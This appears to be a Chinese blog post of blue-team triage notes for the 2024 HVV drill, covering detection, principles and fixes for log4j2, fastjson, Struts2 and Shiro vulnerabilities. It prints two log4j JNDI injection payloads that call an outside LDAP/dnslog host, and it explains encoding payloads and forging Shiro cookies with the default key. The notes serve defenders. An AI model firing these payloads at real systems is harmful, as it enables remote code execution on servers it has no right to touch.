首页 > 其他分享 >2024HVV行动-进军蓝中研判(log4j2、fastjson、Struts2、Shiro)

2024HVV行动-进军蓝中研判(log4j2、fastjson、Struts2、Shiro)

时间:2024-03-14 13:00:14浏览次数:20  
标签:fastjson JSON 2024HVV 漏洞 Struts2 恶意 序列化 Shiro

1、log4j2

特征:

恶意请求中包含 JNDI 协议地址,如"ldap://"、"rmi://"等,被 log4j2 解析为 JNDI 查找。

原理:

在日志输出中,未对字符进行严格的过滤,执行了 JNDI 协议加载的远程恶意脚本,从而造成远程代码执行。

影响:

严重的 RCE,2.0 ≤ Apache Log4j2 < 2.15.0-rc2

攻击字段:

${jndi:ldap://${sys:java.version}.7fprj5.dnslog.cn}(手动测试)

${jndi:ldap://192.168.249.128:1389/h8sgrk}(工具生成)

(一般 payload 我们需要进行 URL 编码,传入的命令也需要进行 base64 编码后再解码)

修复:

将 Log4j 升级到已修复漏洞的版本;

如果不需要使用 JndiLookup 插件,可以将其移除或禁用;

配置 log4j2.xml 来限制日志文件的输出路径。

2、fastjson

判断:

构造恶意的 POST 请求,观察服务器返回的错误响应中是否包含了 Fastjson 相关的字样

特征:

开启了自省功能, JSON 数据中包含 @type 字段

原理:

fastjson 在解析 JSON 数据时存在自动类型转换功能(autoType),FastJson 就会自动解析@type 参数字段,利用该功能构造恶意 JSON 数据,使其在反序列化过程中触发漏洞利用链,从而实现恶意代码的执行。

注:@type、自省功能以及 autoType 指的是同一个概念,即 Fastjson 在反序列化 JSON 数据时根据 JSON 数据中的类名来自动实例化对应的 Java 对象的功能。

影响:

fastjson<=1.2.24:反序列化导致任意命令执行

fastjson< =1.2.47:构造特殊的 json 字符串绕过白名单执行任意命令

如何判断攻击成功:

POST 请求中包含了恶意构造的 JSON 数据;

服务器会返回异常的响应(如状态码为 500);

服务器会返回 Fastjson 相关的字样或错误信息;

与异常的目标 IP 地址或端口建立反向 shell 连接;

异常的恶意文件或数据传输行为。

修复:

将 Fastjson 升级到最新版本;

关闭 AutoType 功能;

在反序列化之前对 JSON 数据进行严格的验证和过滤。

3、Struts2

此漏洞源于 Struts 2 框架中的一个标签处理功能:altSyntax。在开启时,支持对标签中的 OGNL 表达式进行解析并执行。Struts 2 的 “altSyntax” 功能允许将 OGNL 表达式插入到文本字符串中并递归处理,这允许恶意用户提交一个字符串,通常通过 HTML 文本字段,其中包含一个 OGNL 表达式(如 %{1+1}),如果表单验证失败,服务器将执行该表达式。Struts2 代码执行漏洞均是 OGNL 表达式注入导致。

4、Shiro

 

介绍:

Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。

原理:

Shiro 在用户登陆时提供可选项 RememberMe,若勾选则下次登陆会携带 cookie 中的 remember me 字段发起请求,就不需要重新输入用户名和密码,用户登录成功后会生成经过 AES 加密和 base64 编码的 cookie。攻击者可以使用 Shiro 的默认密钥构造恶意序列化对象进行编码来伪造用户的 cookie,服务端反序列化时触发漏洞,从而实现命令执行。

特征:

勾选记住密码选项后,点击登录,抓包,观察请求包中是否有 rememberme 字段,响应包中是否有 Set-cookie:rememberMe=deleteMe 字段。

利用:

只要 RememberMe 的 AES 加密密钥泄漏,无论 Shiro 什么版本都会导致反序列化漏洞,AES 是对称加密,加解密是相同的密钥,密钥是写在开源框架的代码中的,我们便可使用公开密钥进行爆破尝试。

修复:

升级Shiro到最新版本;

修改shiro的密钥,不要使用公开密钥;

WAF 拦截 Cookie 中长度过大的 RememberMe 值。

标签:fastjson,JSON,2024HVV,漏洞,Struts2,恶意,序列化,Shiro
From: https://blog.csdn.net/Myon5/article/details/136547910

相关文章

  • 蓝帽杯2022初赛-fastjson复现
    趁热打铁,直接复现一波蓝帽杯2022初赛的一道fastjson。简简单单写了个Dockerfile和docker-compose.yml,网上能找到jar包链接,然后启动服务:importcom.alibaba.fastjson.JSON;importcom.alibaba.fastjson.parser.ParserConfig;importjava.util.Objects;importjava.util.re......
  • fastjson-RCE
    fastjson是一个有阿里开发的一个开源Java类库,可以将Java对象转换为JSON格式(序列化),当然它也可以将JSON字符串转换为Java对象(反序列化)。Fastjson可以操作任何Java对象,即使是一些预先存在的没有源码的对象(这就是漏洞来源,下文会解释)。使用比较广泛。 fastjson序列......
  • FastJson使用和案例
    FastJson使用和案例导入依赖<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.73</version></dependency>使用案例1.新建Perosn类,......
  • 基于Struts2 MVC的人事管理系统的二次开发
    引言这系统是一个基于JavaWeb开发和Struts2框架的简单用户管理系统。主要功能包括用户的登录、注册、查看用户列表、更新用户信息、以及删除用户等操作。系统使用了MySQL数据库存储用户信息,通过DAO模式实现了数据访问逻辑的分离。通过Struts2框架,实现了前后端的交互,通过XML配置......
  • struts2-66漏洞复现
    Strut2-66漏洞从搭建到复现到原理0x0创建JavaEE环境使用idea创建JavaEE项目,添加Strut2的依赖点击右上角创建新项目下一步,依赖项只选择一个Servlet就行了,版本JavaEE8然后完成打开即可,为了方便把根目录调整一下点击右上角的tomcat编辑配置默认的话是这样的如果警告没有......
  • FastJSON学习
    第一节:JSON数据格式回顾 JSON的数组格式:运行:结果:  JSON的对象格式:运行: 结果: ......
  • 第17天:信息打点-语言框架&开发组件&FastJson&Shiro&Log4j&SpringBoot等
    框架:简单代码的一个整合库,如果使用框架就只需要学习使用框架调用即可如:文件上传功能是需要很多代码来实现的,框架把这个代码进行封封装,调用即可影响:如果采用框架开发,代码的安全性是取决于框架的过滤机制 #Python-开发框架-Django&FlaskDjango1、识别插件2、Set-Cookie:expi......
  • fastjson 1268-jdbc
    1268-jdbc复现靶场项目是https://github.com/lemono0/FastJsonParty版本{"@type":"java.lang.AutoCloseable"回包:{"timestamp":"2024-01-31T09:45:27.342+0000","status":500,"error":"InternalS......
  • Json转换工具类(基于google的Gson和阿里的fastjson)
    在项目之中我们经常会涉及到字符串和各种对象的转换,为此特地整理了一下常用的转换方法一、基于com.google.code.gson封装的json转换工具类 1.在pom.xml文件里面引入gson的依赖<dependency><groupId>com.google.code.gson</groupId><arti......
  • JSON中带多余反斜杠?原来是滥用FastJSON造成的!
    以前对接很多老系统的接口是发现对方返回的JSON往往有些不太对劲,例如{"key_1":"A","key_2":"{\"name\":\"Tom\"}"}由于以前我使用springBoot自带的Jackson,因此从未自己造成这种现象,然而最近在对接一个接口时,我自己使用FastJSON时恰巧就复制了一模一样的bug:我当时就......